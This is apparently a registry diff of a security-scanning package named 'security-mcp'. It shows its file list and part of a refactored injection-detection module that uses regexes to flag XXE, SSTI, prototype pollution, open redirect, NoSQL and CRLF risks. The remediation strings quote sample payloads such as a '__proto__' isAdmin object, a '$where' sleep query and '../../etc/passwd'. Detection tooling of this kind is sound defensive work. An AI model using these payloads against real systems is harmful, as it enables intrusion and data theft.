security-mcp 1.1.4 → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +116 -264
- package/defaults/checklists/ai.json +20 -1
- package/defaults/checklists/api.json +35 -1
- package/defaults/checklists/infra.json +34 -1
- package/defaults/checklists/mobile.json +23 -1
- package/defaults/checklists/payments.json +15 -1
- package/defaults/checklists/web.json +11 -1
- package/defaults/security-policy.json +2 -2
- package/dist/cli/index.js +0 -0
- package/dist/gate/baseline.js +82 -7
- package/dist/gate/catalog.js +10 -2
- package/dist/gate/checks/ai.js +757 -39
- package/dist/gate/checks/auth-deep.js +920 -216
- package/dist/gate/checks/business-logic.js +751 -0
- package/dist/gate/checks/ci-pipeline.js +399 -4
- package/dist/gate/checks/crypto.js +423 -2
- package/dist/gate/checks/dependencies.js +571 -15
- package/dist/gate/checks/graphql.js +201 -19
- package/dist/gate/checks/infra.js +246 -1
- package/dist/gate/checks/injection-deep.js +827 -184
- package/dist/gate/checks/k8s.js +114 -1
- package/dist/gate/checks/mobile-android.js +917 -3
- package/dist/gate/checks/mobile-ios.js +797 -5
- package/dist/gate/checks/required-artifacts.js +194 -0
- package/dist/gate/checks/runtime.js +178 -0
- package/dist/gate/checks/secrets.js +244 -13
- package/dist/gate/checks/supply-chain-deep.js +787 -0
- package/dist/gate/checks/web-nextjs.js +572 -48
- package/dist/gate/diff.js +17 -5
- package/dist/gate/evidence.js +8 -1
- package/dist/gate/exceptions.js +131 -9
- package/dist/gate/policy.js +280 -131
- package/dist/mcp/audit-chain.js +122 -28
- package/dist/mcp/auth.js +169 -0
- package/dist/mcp/learning.js +129 -4
- package/dist/mcp/model-router.js +158 -21
- package/dist/mcp/orchestration.js +186 -51
- package/dist/mcp/server.js +337 -53
- package/dist/repo/fs.js +24 -1
- package/dist/repo/search.js +31 -6
- package/dist/review/store.js +52 -1
- package/package.json +7 -7
- package/skills/_TEMPLATE/SKILL.md +99 -0
- package/skills/advanced-dos-tester/SKILL.md +109 -0
- package/skills/agentic-loop-exploiter/SKILL.md +368 -0
- package/skills/ai-llm-redteam/SKILL.md +104 -0
- package/skills/ai-model-supply-chain-agent/SKILL.md +103 -0
- package/skills/algorithm-implementation-reviewer/SKILL.md +98 -0
- package/skills/android-penetration-tester/SKILL.md +455 -46
- package/skills/anti-replay-tester/SKILL.md +106 -0
- package/skills/appsec-code-auditor/SKILL.md +85 -0
- package/skills/artifact-integrity-analyst/SKILL.md +441 -0
- package/skills/attack-navigator/SKILL.md +467 -8
- package/skills/auth-session-hacker/SKILL.md +102 -0
- package/skills/aws-penetration-tester/SKILL.md +456 -0
- package/skills/azure-penetration-tester/SKILL.md +490 -3
- package/skills/binary-auth-validator/SKILL.md +111 -0
- package/skills/bot-detection-specialist/SKILL.md +109 -0
- package/skills/business-logic-attacker/SKILL.md +231 -0
- package/skills/capec-code-mapper/SKILL.md +84 -0
- package/skills/cert-pin-rotation-specialist/SKILL.md +112 -0
- package/skills/cicd-pipeline-hijacker/SKILL.md +405 -0
- package/skills/ciso-orchestrator/SKILL.md +454 -43
- package/skills/cloud-infra-specialist/SKILL.md +118 -0
- package/skills/compliance-gap-analyst/SKILL.md +422 -0
- package/skills/compliance-grc/SKILL.md +85 -0
- package/skills/compliance-lifecycle-tracker/SKILL.md +84 -0
- package/skills/credential-stuffing-specialist/SKILL.md +102 -0
- package/skills/crypto-pki-specialist/SKILL.md +87 -0
- package/skills/csa-ccm-mapper/SKILL.md +84 -0
- package/skills/csf2-governance-mapper/SKILL.md +84 -0
- package/skills/deep-link-fuzzer/SKILL.md +109 -0
- package/skills/dependency-confusion-attacker/SKILL.md +415 -0
- package/skills/device-integrity-aggregator/SKILL.md +108 -0
- package/skills/dos-resilience-tester/SKILL.md +97 -0
- package/skills/dread-scorer/SKILL.md +84 -0
- package/skills/egress-policy-enforcer/SKILL.md +99 -0
- package/skills/evidence-collector/SKILL.md +98 -0
- package/skills/file-upload-attacker/SKILL.md +109 -0
- package/skills/gcp-penetration-tester/SKILL.md +459 -2
- package/skills/git-history-secret-scanner/SKILL.md +106 -0
- package/skills/iam-privesc-graph-builder/SKILL.md +152 -0
- package/skills/incident-responder/SKILL.md +111 -0
- package/skills/injection-specialist/SKILL.md +102 -0
- package/skills/ios-security-auditor/SKILL.md +282 -0
- package/skills/json-ambiguity-tester/SKILL.md +0 -0
- package/skills/k8s-container-escaper/SKILL.md +384 -0
- package/skills/key-management-lifecycle-analyst/SKILL.md +98 -0
- package/skills/kill-switch-engineer/SKILL.md +102 -0
- package/skills/linddun-privacy-analyst/SKILL.md +102 -0
- package/skills/logic-race-fuzzer/SKILL.md +443 -0
- package/skills/mobile-api-network-attacker/SKILL.md +421 -0
- package/skills/mobile-binary-hardener/SKILL.md +102 -0
- package/skills/mobile-security-specialist/SKILL.md +85 -0
- package/skills/mobile-webview-auditor/SKILL.md +96 -0
- package/skills/model-extraction-attacker/SKILL.md +219 -0
- package/skills/multipart-abuse-tester/SKILL.md +84 -0
- package/skills/oauth-pkce-specialist/SKILL.md +104 -0
- package/skills/parser-exhaustion-tester/SKILL.md +142 -0
- package/skills/pentest-infra/SKILL.md +98 -0
- package/skills/pentest-social/SKILL.md +201 -0
- package/skills/pentest-team/SKILL.md +87 -0
- package/skills/pentest-web-api/SKILL.md +98 -0
- package/skills/privacy-flow-analyst/SKILL.md +234 -0
- package/skills/prompt-injection-specialist/SKILL.md +394 -0
- package/skills/quantum-migration-planner/SKILL.md +96 -0
- package/skills/rag-poisoning-specialist/SKILL.md +358 -0
- package/skills/registry-mirror-enforcer/SKILL.md +84 -0
- package/skills/rotation-validation-agent/SKILL.md +112 -0
- package/skills/samm-assessor/SKILL.md +85 -0
- package/skills/secrets-mask-bypass-tester/SKILL.md +100 -0
- package/skills/senior-security-engineer/SKILL.md +167 -0
- package/skills/serialization-memory-attacker/SKILL.md +332 -0
- package/skills/session-timeout-tester/SKILL.md +161 -0
- package/skills/slsa-level3-enforcer/SKILL.md +112 -0
- package/skills/slsa-provenance-enforcer/SKILL.md +102 -0
- package/skills/ssrf-detection-validator/SKILL.md +108 -0
- package/skills/step-up-auth-enforcer/SKILL.md +84 -0
- package/skills/stride-pasta-analyst/SKILL.md +420 -0
- package/skills/supply-chain-devsecops/SKILL.md +98 -0
- package/skills/threat-infrastructure-analyst/SKILL.md +84 -0
- package/skills/threat-modeler/SKILL.md +85 -0
- package/skills/tls-certificate-auditor/SKILL.md +573 -18
- package/skills/token-reuse-detector/SKILL.md +95 -0
- package/skills/trike-risk-modeler/SKILL.md +84 -0
- package/skills/unicode-homograph-tester/SKILL.md +84 -0
- package/skills/waf-rule-lifecycle-agent/SKILL.md +97 -0
- package/skills/webhook-security-tester/SKILL.md +102 -0
- package/skills/zero-trust-architect/SKILL.md +109 -0
|
@@ -5,201 +5,844 @@
|
|
|
5
5
|
import { sanitizeErrorMessage } from "../result.js";
|
|
6
6
|
import { searchRepo } from "../../repo/search.js";
|
|
7
7
|
const NON_CODE_RE = /\.(?:md|json|yaml|yml|txt|rst|toml|lock)$/i;
|
|
8
|
-
|
|
8
|
+
function toEvidence(hits) {
|
|
9
|
+
return hits.slice(0, 10).map((m) => `${m.file}:${m.line}:${m.preview}`);
|
|
10
|
+
}
|
|
11
|
+
function toFiles(hits) {
|
|
12
|
+
return [...new Set(hits.slice(0, 10).map((m) => m.file))];
|
|
13
|
+
}
|
|
14
|
+
async function codeSearch(query) {
|
|
15
|
+
return (await searchRepo({ query, isRegex: true, maxMatches: 200 })).filter((h) => !NON_CODE_RE.test(h.file));
|
|
16
|
+
}
|
|
17
|
+
async function checkXxe() {
|
|
18
|
+
const hits = await codeSearch(String.raw `(?:new\s+(?:DOMParser|SAXParser|XMLParser|fxp\.XMLParser)|xml2js\.parseString|fast-xml-parser|libxmljs\.parseXml|parseXML)\s*\(`);
|
|
19
|
+
const unsafe = hits.filter((h) => !/entityExpansion\s*:\s*false|processEntities\s*:\s*false|resolveEntities\s*:\s*false|FEATURE_EXTERNAL_GENERAL_ENTITIES|XMLConstants\.FEATURE_SECURE_PROCESSING/.test(h.preview));
|
|
20
|
+
if (!unsafe.length)
|
|
21
|
+
return null;
|
|
22
|
+
return {
|
|
23
|
+
id: "XXE_ENTITY_PARSING",
|
|
24
|
+
title: "XML parser may process external entities (XXE — CWE-611)",
|
|
25
|
+
severity: "HIGH",
|
|
26
|
+
evidence: toEvidence(unsafe),
|
|
27
|
+
files: toFiles(unsafe),
|
|
28
|
+
requiredActions: [
|
|
29
|
+
"Disable external entity processing: set processEntities:false (fast-xml-parser) or resolveEntities:false (xml2js).",
|
|
30
|
+
"CWE-611 / ATT&CK T1190 — XXE can leak files, SSRF, or RCE via server-side request.",
|
|
31
|
+
"Example fix (fast-xml-parser): new XMLParser({ processEntities: false, ignoreAttributes: false })"
|
|
32
|
+
]
|
|
33
|
+
};
|
|
34
|
+
}
|
|
35
|
+
async function checkSsti() {
|
|
9
36
|
const findings = [];
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
findings.push({
|
|
50
|
-
id: "PROTOTYPE_POLLUTION",
|
|
51
|
-
title: "Unsafe merge of user-controlled data into plain object — prototype pollution risk (CWE-1321)",
|
|
52
|
-
severity: "HIGH",
|
|
53
|
-
evidence: ppHits.slice(0, 10).map((m) => `${m.file}:${m.line}:${m.preview}`),
|
|
54
|
-
files: [...new Set(ppHits.slice(0, 10).map((m) => m.file))],
|
|
55
|
-
requiredActions: [
|
|
56
|
-
"Validate with Zod/Joi schema before merging; use Object.create(null) as the merge target.",
|
|
57
|
-
"CWE-1321 / ATT&CK T1548 — payload {\"__proto__\":{\"isAdmin\":true}} can pollute all objects in the process.",
|
|
58
|
-
"Fix: const safe = schema.parse(req.body); Object.assign(Object.create(null), defaults, safe);"
|
|
59
|
-
]
|
|
60
|
-
});
|
|
61
|
-
}
|
|
62
|
-
// 4. Open redirect — res.redirect with unvalidated user input
|
|
63
|
-
const openRedirectHits = await codeSearch(String.raw `res\.redirect\s*\(\s*(?:req\.|body\.|params\.|query\.|headers\.|url\b|redirect|returnUrl|next|target|destination)`);
|
|
64
|
-
const redirectAllowlistRe = /allowlist|allowedHosts|isAllowed|REDIRECT_WHITELIST|validateRedirect|isSafeUrl|startsWith\s*\(['"]\/\b/;
|
|
65
|
-
const openRedirectUnsafe = openRedirectHits.filter((h) => !redirectAllowlistRe.test(h.preview));
|
|
66
|
-
if (openRedirectUnsafe.length > 0) {
|
|
67
|
-
findings.push({
|
|
68
|
-
id: "OPEN_REDIRECT",
|
|
69
|
-
title: "Open redirect — user-controlled URL in res.redirect() without allowlist (CWE-601)",
|
|
70
|
-
severity: "HIGH",
|
|
71
|
-
evidence: openRedirectUnsafe.slice(0, 10).map((m) => `${m.file}:${m.line}:${m.preview}`),
|
|
72
|
-
files: [...new Set(openRedirectUnsafe.slice(0, 10).map((m) => m.file))],
|
|
73
|
-
requiredActions: [
|
|
74
|
-
"Validate redirect targets against an allowlist of trusted hosts or enforce relative-only redirects.",
|
|
75
|
-
"CWE-601 / ATT&CK T1598 — open redirects are used in phishing chains and OAuth token theft.",
|
|
76
|
-
"Fix: if (!url.startsWith('/') || url.startsWith('//')) throw new Error('Invalid redirect');"
|
|
77
|
-
]
|
|
78
|
-
});
|
|
79
|
-
}
|
|
80
|
-
// 5. NoSQL operator injection — MongoDB query built from req.body directly
|
|
81
|
-
const nosqlHits = await codeSearch(String.raw `(?:\.find|\.findOne|\.findOneAndUpdate|\.updateOne|\.deleteOne|\.aggregate)\s*\(\s*(?:req\.body|body\.|params\.|query\.)\b`);
|
|
82
|
-
if (nosqlHits.length > 0) {
|
|
83
|
-
findings.push({
|
|
84
|
-
id: "NOSQL_OPERATOR_INJECTION",
|
|
85
|
-
title: "NoSQL query built from user input without operator stripping (CWE-943)",
|
|
86
|
-
severity: "HIGH",
|
|
87
|
-
evidence: nosqlHits.slice(0, 10).map((m) => `${m.file}:${m.line}:${m.preview}`),
|
|
88
|
-
files: [...new Set(nosqlHits.slice(0, 10).map((m) => m.file))],
|
|
89
|
-
requiredActions: [
|
|
90
|
-
"Never pass req.body directly into MongoDB queries — extract and validate each field individually.",
|
|
91
|
-
"CWE-943 — payload {\"$gt\":\"\"} bypasses equality checks; {\"$where\":\"sleep(5000)\"} achieves DoS.",
|
|
92
|
-
"Fix: const { username } = z.object({ username: z.string() }).parse(req.body); User.findOne({ username });"
|
|
93
|
-
]
|
|
94
|
-
});
|
|
95
|
-
}
|
|
96
|
-
// 6. CRLF injection — user value in res.setHeader without sanitization
|
|
97
|
-
const crlfHits = await codeSearch(String.raw `res\.setHeader\s*\(\s*[^,]+,\s*(?:req\.|body\.|params\.|query\.|user\.|headers\.)`);
|
|
98
|
-
const crlfSafeRe = /replace\s*\(.*\\r|replace\s*\(.*\\n|sanitize|encodeURIComponent/;
|
|
99
|
-
const crlfUnsafe = crlfHits.filter((h) => !crlfSafeRe.test(h.preview));
|
|
100
|
-
if (crlfUnsafe.length > 0) {
|
|
101
|
-
findings.push({
|
|
102
|
-
id: "CRLF_INJECTION",
|
|
103
|
-
title: "CRLF injection risk — user value written to HTTP response header (CWE-113)",
|
|
104
|
-
severity: "HIGH",
|
|
105
|
-
evidence: crlfUnsafe.slice(0, 10).map((m) => `${m.file}:${m.line}:${m.preview}`),
|
|
106
|
-
files: [...new Set(crlfUnsafe.slice(0, 10).map((m) => m.file))],
|
|
107
|
-
requiredActions: [
|
|
108
|
-
String.raw `Strip \r and \n from any user-controlled value before writing to response headers.`,
|
|
109
|
-
"CWE-113 — CRLF injection enables HTTP response splitting, header injection, session fixation.",
|
|
110
|
-
String.raw `Fix: const safe = value.replace(/[\r\n]/g, ''); res.setHeader('X-Header', safe);`
|
|
111
|
-
]
|
|
112
|
-
});
|
|
113
|
-
}
|
|
114
|
-
// 7. YAML unsafe load (js-yaml v3 default)
|
|
115
|
-
const yamlHits = await codeSearch(String.raw `yaml\.load\s*\((?!.*FAILSAFE_SCHEMA)(?!.*JSON_SCHEMA)(?!.*CORE_SCHEMA)|jsYaml\.load\s*\((?!.*schema)|require\s*\(['"]js-yaml['"]\)\.load\s*\(`);
|
|
116
|
-
if (yamlHits.length > 0) {
|
|
117
|
-
findings.push({
|
|
118
|
-
id: "YAML_UNSAFE_LOAD",
|
|
119
|
-
title: "js-yaml load() without safe schema — arbitrary code execution risk (CWE-502)",
|
|
120
|
-
severity: "CRITICAL",
|
|
121
|
-
evidence: yamlHits.slice(0, 10).map((m) => `${m.file}:${m.line}:${m.preview}`),
|
|
122
|
-
files: [...new Set(yamlHits.slice(0, 10).map((m) => m.file))],
|
|
123
|
-
requiredActions: [
|
|
124
|
-
"Use yaml.load(str, { schema: yaml.FAILSAFE_SCHEMA }) or yaml.safeLoad() (js-yaml v3).",
|
|
125
|
-
"CWE-502 — js-yaml default schema executes JS functions embedded in YAML (!!js/function).",
|
|
126
|
-
"For js-yaml v4+: safeLoad was removed; use load() which is safe by default — verify version."
|
|
127
|
-
]
|
|
128
|
-
});
|
|
129
|
-
}
|
|
130
|
-
// 8. Unsafe deserialization
|
|
131
|
-
const deserializeHits = await codeSearch(String.raw `(?:node-serialize\.unserialize|serialize\.unserialize|unserialize\s*\(|new\s+Function\s*\(\s*(?:req\.|body\.|params\.|data\.|input)|eval\s*\(\s*(?:req\.|body\.|params\.|data\.|Buffer\.from|atob\())`);
|
|
132
|
-
if (deserializeHits.length > 0) {
|
|
133
|
-
findings.push({
|
|
134
|
-
id: "DESERIALIZE_UNSAFE",
|
|
135
|
-
title: "Unsafe deserialization of user input (CWE-502)",
|
|
136
|
-
severity: "CRITICAL",
|
|
137
|
-
evidence: deserializeHits.slice(0, 10).map((m) => `${m.file}:${m.line}:${m.preview}`),
|
|
138
|
-
files: [...new Set(deserializeHits.slice(0, 10).map((m) => m.file))],
|
|
139
|
-
requiredActions: [
|
|
140
|
-
"Never deserialize untrusted data with node-serialize, eval(), or new Function().",
|
|
141
|
-
"CWE-502 / ATT&CK T1059 — deserialization gadget chains achieve RCE without user interaction.",
|
|
142
|
-
"Fix: use JSON.parse() with a Zod schema for structured data; for binary formats use a safe decoder with a strict schema."
|
|
143
|
-
]
|
|
144
|
-
});
|
|
145
|
-
}
|
|
146
|
-
// 9. Path traversal — path.join with user-controlled segment without normalization check
|
|
147
|
-
const pathTraversalHits = await codeSearch(String.raw `path\.(?:join|resolve)\s*\([^)]*(?:req\.|body\.|params\.|query\.|filename|filepath|file_path|filePath|fileName)[^)]*\)`);
|
|
148
|
-
const pathSafeRe = /normalize|startsWith|indexOf\s*\(base|resolve.*startsWith|\.includes\s*\(['"]\.\.['"]|path\.sep/;
|
|
149
|
-
const pathUnsafe = pathTraversalHits.filter((h) => !pathSafeRe.test(h.preview));
|
|
150
|
-
if (pathUnsafe.length > 0) {
|
|
151
|
-
findings.push({
|
|
152
|
-
id: "PATH_TRAVERSAL_JOIN",
|
|
153
|
-
title: "Path traversal — path.join() with user input without prefix verification (CWE-22)",
|
|
154
|
-
severity: "HIGH",
|
|
155
|
-
evidence: pathUnsafe.slice(0, 10).map((m) => `${m.file}:${m.line}:${m.preview}`),
|
|
156
|
-
files: [...new Set(pathUnsafe.slice(0, 10).map((m) => m.file))],
|
|
157
|
-
requiredActions: [
|
|
158
|
-
"After path.join(), verify the resolved path starts with the intended base directory.",
|
|
159
|
-
"CWE-22 / ATT&CK T1083 — ../../etc/passwd reads arbitrary files on the server.",
|
|
160
|
-
"Fix: const full = path.resolve(BASE_DIR, userFilename); if (!full.startsWith(BASE_DIR + path.sep)) throw new Error('Invalid path');"
|
|
161
|
-
]
|
|
162
|
-
});
|
|
37
|
+
// Pass 1: same-line detection + additional engines
|
|
38
|
+
const sameLineHits = await codeSearch(String.raw `(?:Handlebars\.compile|ejs\.render|ejs\.compile|nunjucks\.renderString|pug\.compile|pug\.render|\.template\s*\(|Mustache\.render|mustache\.render|handlebars\.compile|swig\.render|dot\.template|consolidate\.\w+)\s*\(\s*(?:req\.|body\.|params\.|query\.|user\.|input|template|src)`);
|
|
39
|
+
if (sameLineHits.length) {
|
|
40
|
+
findings.push({
|
|
41
|
+
id: "SSTI_TEMPLATE_COMPILE",
|
|
42
|
+
title: "Server-side template compiled from user input (SSTI — CWE-94)",
|
|
43
|
+
severity: "CRITICAL",
|
|
44
|
+
evidence: toEvidence(sameLineHits),
|
|
45
|
+
files: toFiles(sameLineHits),
|
|
46
|
+
requiredActions: [
|
|
47
|
+
"Never compile templates from user input — only render with user-controlled data as context variables.",
|
|
48
|
+
"CWE-94 / ATT&CK T1059 — SSTI achieves RCE via template engine expression evaluation.",
|
|
49
|
+
"Fix: precompile templates at build time; pass untrusted data only as template context, never as template source."
|
|
50
|
+
]
|
|
51
|
+
});
|
|
52
|
+
}
|
|
53
|
+
// Pass 2: two-pass variable tracking — find assignments of user input to variables
|
|
54
|
+
const assignHits = await codeSearch(String.raw `const\s+(\w+)\s*=\s*(?:req\.|body\.|params\.|query\.)`);
|
|
55
|
+
if (assignHits.length) {
|
|
56
|
+
const varNameRe = /const\s+(\w+)\s*=/;
|
|
57
|
+
const varNames = [...new Set(assignHits.map((h) => { const m = varNameRe.exec(h.preview); return m ? m[1] : null; }).filter(Boolean))];
|
|
58
|
+
if (varNames.length) {
|
|
59
|
+
const enginePattern = String.raw `(?:Handlebars\.compile|ejs\.render|ejs\.compile|nunjucks\.renderString|pug\.compile|pug\.render|mustache\.render|Mustache\.render|swig\.render|dot\.template|consolidate\.\w+|handlebars\.compile)\s*\(\s*(?:${varNames.join("|")})`;
|
|
60
|
+
const varHits = await codeSearch(enginePattern);
|
|
61
|
+
const newHits = varHits.filter((h) => !sameLineHits.some((s) => s.file === h.file && s.line === h.line));
|
|
62
|
+
if (newHits.length) {
|
|
63
|
+
findings.push({
|
|
64
|
+
id: "SSTI_TEMPLATE_COMPILE_INDIRECT",
|
|
65
|
+
title: "Server-side template compiled from variable holding user input (SSTI — CWE-94)",
|
|
66
|
+
severity: "CRITICAL",
|
|
67
|
+
evidence: toEvidence(newHits),
|
|
68
|
+
files: toFiles(newHits),
|
|
69
|
+
requiredActions: [
|
|
70
|
+
"Never compile templates from user input — only render with user-controlled data as context variables.",
|
|
71
|
+
"CWE-94 / ATT&CK T1059 — SSTI achieves RCE even when user input is stored in an intermediate variable.",
|
|
72
|
+
"Fix: precompile templates at build time; pass untrusted data only as template context, never as template source."
|
|
73
|
+
]
|
|
74
|
+
});
|
|
75
|
+
}
|
|
163
76
|
}
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
77
|
+
}
|
|
78
|
+
return findings;
|
|
79
|
+
}
|
|
80
|
+
async function checkPrototypePollution() {
|
|
81
|
+
const findings = [];
|
|
82
|
+
// Original merge-with-user-input pattern
|
|
83
|
+
const mergeHits = await codeSearch(String.raw `(?:_\.merge|Object\.assign|deepmerge|lodash\.merge|merge\s*\()\s*\(\s*(?:\{\}|obj|target|options|config|settings|result)\s*,\s*(?:req\.|body\.|params\.|query\.|user\.|payload\.|data\.)`);
|
|
84
|
+
if (mergeHits.length) {
|
|
85
|
+
findings.push({
|
|
86
|
+
id: "PROTOTYPE_POLLUTION",
|
|
87
|
+
title: "Unsafe merge of user-controlled data into plain object — prototype pollution risk (CWE-1321)",
|
|
88
|
+
severity: "HIGH",
|
|
89
|
+
evidence: toEvidence(mergeHits),
|
|
90
|
+
files: toFiles(mergeHits),
|
|
91
|
+
requiredActions: [
|
|
92
|
+
"Validate with Zod/Joi schema before merging; use Object.create(null) as the merge target.",
|
|
93
|
+
"CWE-1321 / ATT&CK T1548 — payload {\"__proto__\":{\"isAdmin\":true}} can pollute all objects in the process.",
|
|
94
|
+
"Fix: const safe = schema.parse(req.body); Object.assign(Object.create(null), defaults, safe);"
|
|
95
|
+
]
|
|
96
|
+
});
|
|
97
|
+
}
|
|
98
|
+
// Direct __proto__ assignment patterns
|
|
99
|
+
const directProtoHits = await codeSearch(String.raw `(?:\.__proto__\s*=|\['__proto__'\]\s*=|\["__proto__"\]\s*=|\.constructor\.prototype\s*=)`);
|
|
100
|
+
if (directProtoHits.length) {
|
|
101
|
+
findings.push({
|
|
102
|
+
id: "PROTOTYPE_POLLUTION_DIRECT",
|
|
103
|
+
title: "Direct __proto__ or constructor.prototype assignment — prototype pollution (CWE-1321)",
|
|
104
|
+
severity: "HIGH",
|
|
105
|
+
evidence: toEvidence(directProtoHits),
|
|
106
|
+
files: toFiles(directProtoHits),
|
|
107
|
+
requiredActions: [
|
|
108
|
+
"Never assign to __proto__ or constructor.prototype from user-controlled data.",
|
|
109
|
+
"CWE-1321 — direct prototype pollution corrupts all object instances sharing the prototype chain.",
|
|
110
|
+
"Fix: use Object.create(null) for maps; validate all keys with allowlists before any property assignment."
|
|
111
|
+
]
|
|
112
|
+
});
|
|
113
|
+
}
|
|
114
|
+
// Two-pass: JSON.parse of user input → variable → Object.assign/merge
|
|
115
|
+
const jsonParseHits = await codeSearch(String.raw `JSON\.parse\s*\([^)]*(?:req\.|body\.|params\.|query\.)[^)]*\)`);
|
|
116
|
+
if (jsonParseHits.length) {
|
|
117
|
+
const varNameRe = /(?:const|let|var)\s+(\w+)\s*=\s*JSON\.parse/;
|
|
118
|
+
const varNames = [...new Set(jsonParseHits.map((h) => { const m = varNameRe.exec(h.preview); return m ? m[1] : null; }).filter(Boolean))];
|
|
119
|
+
if (varNames.length) {
|
|
120
|
+
const mergePattern = String.raw `(?:Object\.assign|deepmerge|_\.merge|lodash\.merge|merge\s*\()\s*\([^)]*(?:${varNames.join("|")})`;
|
|
121
|
+
const indirectHits = await codeSearch(mergePattern);
|
|
122
|
+
const newHits = indirectHits.filter((h) => !mergeHits.some((s) => s.file === h.file && s.line === h.line));
|
|
123
|
+
if (newHits.length) {
|
|
124
|
+
findings.push({
|
|
125
|
+
id: "PROTOTYPE_POLLUTION_JSON_PARSE",
|
|
126
|
+
title: "JSON.parse of user input passed to Object.assign/merge — prototype pollution risk (CWE-1321)",
|
|
127
|
+
severity: "HIGH",
|
|
128
|
+
evidence: toEvidence(newHits),
|
|
129
|
+
files: toFiles(newHits),
|
|
130
|
+
requiredActions: [
|
|
131
|
+
"Validate parsed JSON with a schema (Zod/Joi) before merging into objects.",
|
|
132
|
+
"CWE-1321 — JSON.parse('{\"__proto__\":{\"isAdmin\":true}}') followed by Object.assign pollutes all objects.",
|
|
133
|
+
"Fix: const safe = schema.parse(JSON.parse(req.body.data)); Object.assign(Object.create(null), defaults, safe);"
|
|
134
|
+
]
|
|
135
|
+
});
|
|
136
|
+
}
|
|
181
137
|
}
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
138
|
+
}
|
|
139
|
+
return findings;
|
|
140
|
+
}
|
|
141
|
+
async function checkOpenRedirect() {
|
|
142
|
+
const hits = await codeSearch(String.raw `res\.redirect\s*\(\s*(?:req\.|body\.|params\.|query\.|headers\.|url\b|redirect|returnUrl|next|target|destination)`);
|
|
143
|
+
const unsafe = hits.filter((h) => !/allowlist|allowedHosts|isAllowed|REDIRECT_WHITELIST|validateRedirect|isSafeUrl|startsWith\s*\(['"]\/\b/.test(h.preview));
|
|
144
|
+
if (!unsafe.length)
|
|
145
|
+
return null;
|
|
146
|
+
return {
|
|
147
|
+
id: "OPEN_REDIRECT",
|
|
148
|
+
title: "Open redirect — user-controlled URL in res.redirect() without allowlist (CWE-601)",
|
|
149
|
+
severity: "HIGH",
|
|
150
|
+
evidence: toEvidence(unsafe),
|
|
151
|
+
files: toFiles(unsafe),
|
|
152
|
+
requiredActions: [
|
|
153
|
+
"Validate redirect targets against an allowlist of trusted hosts or enforce relative-only redirects.",
|
|
154
|
+
"CWE-601 / ATT&CK T1598 — open redirects are used in phishing chains and OAuth token theft.",
|
|
155
|
+
"Fix: if (!url.startsWith('/') || url.startsWith('//')) throw new Error('Invalid redirect');"
|
|
156
|
+
]
|
|
157
|
+
};
|
|
158
|
+
}
|
|
159
|
+
async function checkNosqlInjection() {
|
|
160
|
+
const hits = await codeSearch(String.raw `(?:\.find|\.findOne|\.findOneAndUpdate|\.updateOne|\.deleteOne|\.aggregate)\s*\(\s*(?:req\.body|body\.|params\.|query\.)\b`);
|
|
161
|
+
if (!hits.length)
|
|
162
|
+
return null;
|
|
163
|
+
return {
|
|
164
|
+
id: "NOSQL_OPERATOR_INJECTION",
|
|
165
|
+
title: "NoSQL query built from user input without operator stripping (CWE-943)",
|
|
166
|
+
severity: "HIGH",
|
|
167
|
+
evidence: toEvidence(hits),
|
|
168
|
+
files: toFiles(hits),
|
|
169
|
+
requiredActions: [
|
|
170
|
+
"Never pass req.body directly into MongoDB queries — extract and validate each field individually.",
|
|
171
|
+
"CWE-943 — payload {\"$gt\":\"\"} bypasses equality checks; {\"$where\":\"sleep(5000)\"} achieves DoS.",
|
|
172
|
+
"Fix: const { username } = z.object({ username: z.string() }).parse(req.body); User.findOne({ username });"
|
|
173
|
+
]
|
|
174
|
+
};
|
|
175
|
+
}
|
|
176
|
+
async function checkCrlfInjection() {
|
|
177
|
+
const findings = [];
|
|
178
|
+
// Original: res.setHeader with user input
|
|
179
|
+
const headerHits = await codeSearch(String.raw `res\.setHeader\s*\(\s*[^,]+,\s*(?:req\.|body\.|params\.|query\.|user\.|headers\.)`);
|
|
180
|
+
const unsafeHeaders = headerHits.filter((h) => !/replace\s*\(.*\\r|replace\s*\(.*\\n|sanitize|encodeURIComponent/.test(h.preview));
|
|
181
|
+
if (unsafeHeaders.length) {
|
|
182
|
+
findings.push({
|
|
183
|
+
id: "CRLF_INJECTION",
|
|
184
|
+
title: "CRLF injection risk — user value written to HTTP response header (CWE-113)",
|
|
185
|
+
severity: "HIGH",
|
|
186
|
+
evidence: toEvidence(unsafeHeaders),
|
|
187
|
+
files: toFiles(unsafeHeaders),
|
|
188
|
+
requiredActions: [
|
|
189
|
+
String.raw `Strip \r and \n from any user-controlled value before writing to response headers.`,
|
|
190
|
+
"CWE-113 — CRLF injection enables HTTP response splitting, header injection, session fixation.",
|
|
191
|
+
String.raw `Fix: const safe = value.replace(/[\r\n]/g, ''); res.setHeader('X-Header', safe);`
|
|
192
|
+
]
|
|
193
|
+
});
|
|
194
|
+
}
|
|
195
|
+
// Extended: cookie, append, location, response.redirect with user input
|
|
196
|
+
const extendedHits = await codeSearch(String.raw `(?:res\.cookie\s*\([^,]*(?:req\.|body\.|params\.|query\.)|res\.append\s*\(\s*[^,]+,\s*(?:req\.|body\.|params\.|query\.)|res\.location\s*\(\s*(?:req\.|body\.|params\.|query\.)|response\.redirect\s*\(\s*(?:req\.|body\.|params\.|query\.))`);
|
|
197
|
